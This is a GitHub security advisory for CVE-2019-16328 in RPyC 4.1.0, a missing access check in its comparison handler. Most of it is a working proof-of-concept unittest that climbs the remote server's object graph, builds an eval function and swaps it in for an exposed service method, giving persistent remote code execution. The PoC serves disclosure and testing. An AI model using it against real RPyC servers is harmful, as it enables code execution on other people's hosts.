GHSA-pj4g-4488-wmxm

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GHSA-pj4g-4488-wmxm

Summary: Dynamic modification of RPyC service due to missing security check

Details: ### Impact Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks. ### Patches Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected. ### Workarounds The commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check. ### References [CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328) [RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security) ### For more information If you have any questions or comments about this advisory: * Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc) ### Proof of Concept ``` import logging import rpyc import tempfile from subprocess import Popen, PIPE import unittest PORT = 18861 SERVER_SCRIPT = f"""#!/usr/bin/env python import rpyc from rpyc.utils.server import ThreadedServer, ThreadPoolServer from rpyc import SlaveService import rpyc class Foe(object): foo = "bar" class Fee(rpyc.Service): exposed_Fie = Foe def exposed_nop(self): return if __name__ == "__main__": server = ThreadedServer(Fee, port={PORT}, auto_register=False) thd = server.start() """ def setattr_orig(target, attrname, codeobj): setattr(target, attrname, codeobj) def myeval(self=None, cmd="__import__('sys')"): return eval(cmd) def get_code(obj_codetype, func, filename=None, name=None): func_code = func.__code__ arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags', 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno', 'co_lnotab', 'co_freevars', 'co_cellvars'] codetype_args = [getattr(func_code, n) for n in arg_names] if filename: codetype_args[arg_names.index('co_filename')] = filename if name: codetype_args[arg_names.index('co_name')] = name mycode = obj_codetype(*codetype_args) return mycode def _vercmp_gt(ver1, ver2): ver1_gt_ver2 = False for i, v1 in enumerate(ver1): v2 = ver2[i] if v1 > v2: ver1_gt_ver2 = True break elif v1 == v2: continue else: # v1 < v2 break return ver1_gt_ver2 @unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version") class Test_InfoDisclosure_Service(unittest.TestCase): @classmethod def setUpClass(cls): cls.logger = logging.getLogger('rpyc') cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred cls.hscript = tempfile.NamedTemporaryFile() cls.hscript.write(SERVER_SCRIPT.encode()) cls.hscript.flush() while cls.hscript.file.tell() != len(SERVER_SCRIPT): pass cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True) cls.conn = rpyc.connect("localhost", PORT) @classmethod def tearDownClass(cls): cls.conn.close() cls.logger.info(cls.server.stdout.read()) cls.logger.info(cls.server.stderr.read()) cls.server.kill() cls.hscript.close() def netref_getattr(self, netref, attrname): # PoC CWE-358: abuse __cmp__ function that was missing a security check handler = rpyc.core.consts.HANDLE_CMP return self.conn.sync_request(handler, netref, attrname, '__getattribute__') def test_1_modify_nop(self): # create netrefs for builtins and globals that will be used to construct on remote remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol') remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request') remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__') remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules') _builtins = remote_modules['builtins'] remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)} # populate globals for CodeType calls on remote remote_globals = remote_builtins['dict']() for name, netref in remote_builtins.items(): remote_globals[name] = netref for name, netref in self.netref_getattr(remote_modules, 'items')(): remote_globals[name] = netref # create netrefs for types to create remote function malicously remote_types = remote_builtins['__import__']("types") remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType') remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType') # remote eval function constructed remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__') remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals) # PoC CWE-913: modify the exposed_nop of service # by binding various netrefs in this execution frame, they are cached in # the remote address space. setattr and eval functions are cached for the life # of the netrefs in the frame. A consequence of Netref classes inheriting # BaseNetref, each object is cached under_local_objects. So, we are able # to construct arbitrary code using types and builtins. # use the builtin netrefs to modify the service to use the constructed eval func remote_setattr = remote_builtins['setattr'] remote_type = remote_builtins['type'] remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval) # show that nop was replaced by eval to complete the PoC remote_sys = self.conn.root.nop('__import__("sys")') remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())') self.assertEqual(type(remote_sys).__name__, 'builtins.module') self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref) self.assertIn('rpyc/utils/server.py', remote_stack) def test_2_new_conn_impacted(self): # demostrate impact and scope of vuln for new connections self.conn.close() self.conn = rpyc.connect("localhost", PORT) # show new conn can still use nop as eval remote_sys = self.conn.root.nop('__import__("sys")') remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())') self.assertEqual(type(remote_sys).__name__, 'builtins.module') self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref) self.assertIn('rpyc/utils/server.py', remote_stack) if __name__ == "__main__": unittest.main() ```

References: https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm, https://nvd.nist.gov/vuln/detail/CVE-2019-16328, https://github.com/tomerfiliba-org/rpyc, https://github.com/tomerfiliba/rpyc, https://rpyc.readthedocs.io/en/latest/docs/security.html, http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html, http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html